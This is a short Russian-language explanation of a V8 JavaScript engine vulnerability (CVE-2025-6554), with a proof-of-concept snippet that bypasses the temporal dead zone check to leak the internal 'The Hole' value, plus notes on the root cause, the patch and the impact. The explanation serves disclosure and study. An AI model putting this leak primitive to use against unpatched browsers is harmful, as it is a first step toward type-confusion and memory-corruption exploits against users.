
Эксплойт-доказательство концепции для уязвимости в движке JavaScript V8 (CVE-2025-6554), демонстрирующий обход TDZ, который раскрывает sentinel 'The Hole', что позволяет вызвать путаницу типов и потенциальное повреждение памяти.
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
Переменная y была доступна до объявления. Обычно это должно вызывать ReferenceError (TDZ), но в старых версиях V8 при комбинации с delete x?.[y] проверка не срабатывала и возвращала внутреннее значение-маркер "The Hole".
V8 проверял TDZ только один раз, а затем ошибочно предполагал, что y корректен. Это позволяло "The Hole" попасть в пользовательский код.
Патч заставляет выполнять новую проверку TDZ (ThrowReferenceErrorIfHole) при каждом доступе, гарантируя, что y до инициализации всегда вызывает исключение.
Воздействие: Злоумышленники могут перехватить "The Hole" и использовать его для путаницы типов, манипуляций стеком или обхода областей видимости.